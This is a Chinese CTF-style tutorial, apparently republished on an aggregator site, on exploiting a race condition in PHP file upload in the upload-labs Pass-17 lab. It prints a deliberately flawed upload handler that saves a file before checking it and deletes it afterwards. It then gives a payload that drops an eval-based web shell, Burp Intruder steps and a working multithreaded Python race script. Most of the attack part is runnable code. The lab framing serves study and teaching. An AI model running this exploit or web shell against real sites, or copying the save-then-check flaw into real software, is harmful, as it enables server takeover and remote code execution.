PHP文件上传之条件竞争(其一)

这篇具有很好参考价值的文章主要介绍了PHP文件上传之条件竞争(其一)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、什么是条件竞争

二、场景代码分析

本文用于实验的PHP代码如下:

 知识点补充:

代码分析:

三、条件竞争步骤

1、竞争payload:

2、竞争方法:

1、burpsuite:

2、python脚本:


一、什么是条件竞争

  在某些文件上传情境中,后端代码会先保存我们所上传的文件,然后再检查我们上传的文件是否含有风险,如果有的话会被删除,这是我们就需要和删除函数(如unlink()函数)来进行时间与线程上的竞争,争取在删除文件之前访问到该文件,达到攻击效果

二、场景代码分析

本文用于实验的PHP代码如下:

<?php
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];  //获取上传文件的全名
$ext = substr($filename,strrpos($filename,'.') + 1); //从点号之后的一个字符开始截取,也就是说获取文件后缀

$path = 'uploads/' . $filename;  //上传文件的路径及文件名
$tmp = $_FILES['file']['tmp_name'];   //上传文件在系统中的临时名
if(move_uploaded_file($tmp, $path))  //上传文件到指定路径
{
	if(!preg_match('/php/i', $ext))       //判断后缀是否为php
    {       
		echo 'upload success,file in '.$path;   //不是这返回上传成功
	}
    else
    {
		unlink($path);                    //若是PHP则删除
		die("can't upload php file!");
	}

	}
else
{
    die('upload error');
}

 知识点补充:

$_FILES全局变量数组内容如下:
$_FILES['myFile']['name'] 客户端文件的原名称。
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量)

代码分析:

该代码首先会通过 move_uploaded_file 函数将上传的文件移动到指定目录,然通过preg_match('/php/i', $ext) 这段不分大小写的正则检验上传文件的后缀是否为php,如果是的话则利用unlink函数删除该文件,我们需要在unlink函数执行之前,访问到所上传的文件

三、条件竞争步骤

1、竞争payload:

由于我们可以打开上传文件的时间很短,所以想通过上传的文件直接连接shell是不可能的,但我们可以令上传文件内容如下

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' ); ?>

该文件只要被访问到,即会马上创建一个shell.php文件,即使该文件被unlink函数删除后,其所创建的shell.php文件仍存在,我们可通过shell.php拿下站点

2、竞争方法:

这里以upload-labs 第17关为例

文件上传条件竞争,web安全,CTF,php,web安全

1、burpsuite:

这里我们上传文件抓包得到

文件上传条件竞争,web安全,CTF,php,web安全

 然后将上传文件的数据包发送到 intruder模块

文件上传条件竞争,web安全,CTF,php,web安全

 然后clear掉所有预选项

文件上传条件竞争,web安全,CTF,php,web安全

 在payload模块中,设置为空payload模式,次数设置为两千,也就是说不停地上传2000次该文件,最后start attack

最后在浏览器不停地访问

http://localhost/upload-labs/upload/szm.php

访问成功,即shell访问成功文章来源地址https://www.toymoban.com/news/detail-744875.html

2、python脚本:

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor


def td(list):
    url = 'http://localhost/upload-labs/Pass-17/index.php'
    files = {'upload_file': (
        'szm.php', "<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' ); ?>")}
    data = {'submit': '上传'}
    r = requests.post(url=url, data=data, files=files)
    re = requests.get('http://localhost/upload-labs/upload/szm.php')
    if re.status_code == 200:
        print('上传成功')


if __name__ == '__main__':
    with ThreadPoolExecutor(20) as p:
        p.map(td, range(200))

到了这里,关于PHP文件上传之条件竞争(其一)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 文件上传漏洞之条件竞争

    这里拿upload-labs的第18关做演示 首先先看代码 这段代码逻辑是文件上传后先保存文件,然后判断是否符合规则,符合的话改文件名,不符合的话删除文件。 在多线程环境中,可能会存在文件还未来得及删除,我们便访问到该文件,可以以此为切入点执行php语句。 第一步: 首

    2024年02月11日
    浏览(29)
  • PHP文件上传中fileinfo出现的安全问题

    fileinfo的函数通过在文件的给定位置查找特定的魔术字节序列 来猜测文件的内容类型以及编码,也就是说我们可以获得上传文件的MIME信息 在windows中我们可以在php.ini中开启 在linux中开启fileinfo 在打开fileinfo后我们就可以使用fileinfo扩展了 那fileinfo包括哪些呢 像如图红圈中的那

    2024年02月06日
    浏览(40)
  • 第25天:安全开发-PHP应用&文件管理&包含&写入&删除&下载&上传&遍历&安全

    1.文件上传: 无过滤机制 黑名单过滤机制 白名单过滤机制 文件类型过滤机制 2.文件删除: unlink() 文件删除函数 调用命令删除:system shell_exec exec等 3. 文件下载: 修改HTTP头实现文件读取解析下载: 1.文件包含: 2.架构: 上传至服务器本身的存储磁盘(源码在一起) 云产品OS

    2024年04月29日
    浏览(31)
  • 【CTF-web】变量1(php全局变量)

    题目链接:https://ctf.bugku.com/challenges/detail/id/76.html 注意到$$args,那么我们可以通过args输入一个已定义变量的名称来得到它的值,于是查询php的九大全局变量,如下表所示。 变量 作用 $_POST 广泛用于收集提交 method=“post” 的 HTML 表单后的表单数据。$_POST 也常用于传递变量。

    2024年02月12日
    浏览(33)
  • CTF比赛中Web的php伪协议类型题小结

    在CTF中经常使用的是php://filter和php://input php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码 data伪协议只有在php5.3且include=on时可以写木马。 file://用于访问本地文件系统 用法: file://[文件的绝对路径和文件名] 封装伪协议命令

    2024年02月15日
    浏览(32)
  • 第24天:安全开发-PHP应用&文件管理模块&显示上传&黑白名单类型过滤&访问控制

    如果被抓包抓到数据包,并修改 Content-Type内容 则也可以绕过筛查 正常进行上传和下载 无过滤机制 黑名单过滤机制 使用 explode 函数通过点号分割文件名,获取文件后缀 使用 end 函数获取数组中的最后一个元素,即文件后缀 检查文件后缀是否在黑名单中 如果文件后缀在黑名

    2024年04月29日
    浏览(40)
  • [CTF/网络安全] 攻防世界 PHP2 解题详析

    翻译: 你能给这个网站进行身份验证吗? index.php是一个常见的文件名,通常用于Web服务器中的网站根目录下。它是默认的主页文件名,在访问一个网站时,如果没有特别指定页面文件名,则服务器会自动加载index.php文件。 在Web应用程序中,index.php文件通常是网站的入口文件

    2024年02月13日
    浏览(38)
  • [网络安全] Windows Server 设置文件屏蔽防止黑客利用漏洞上传特定类型的非法文件(.asp .aspx .jsp .php)

    [网络安全] Windows Server 设置文件屏蔽防止黑客利用文件上传漏洞上传特定类型的非法文件(.asp .aspx .jsp .php) 我在负责网站运维期间,遇到过一次黑客利用公司网站内使用的开源文件上传工具漏洞上传非法文件(可执行脚本) 我是通过设置文件屏蔽来防止此类事件的再次发生。

    2024年02月12日
    浏览(40)
  • [CTF/网络安全] 攻防世界 simple_php 解题详析

    题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。 $a=@$_GET[\\\'a\\\']; 从HTTP GET请求参数中获取一个名为a的变量,并将其赋值给变量a。@符号用于禁止错误输出,如果不存在参数a则会将变量a设置为NULL。 $b=@$_GET[\\\'b\\\']; 从HTTP GET请求参数中获取一个名为b的变量,

    2024年02月13日
    浏览(35)
  • [CTF/网络安全] 攻防世界 fileinclude 解题详析(php伪协议)

    由于index.php在/var/www/html目录下,而flag.php与index.php同为php文件,故猜想flag.php也在该目录下。 查看页面源代码获取更多信息: 源代码中看到 @include($lan.\\\".php\\\"); ,即此处存在文件包含。 又因为 $lan = $_COOKIE[\\\'language\\\']; 因此解题思路为:利用php伪协议,构造language参数,来读取该目

    2024年02月07日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包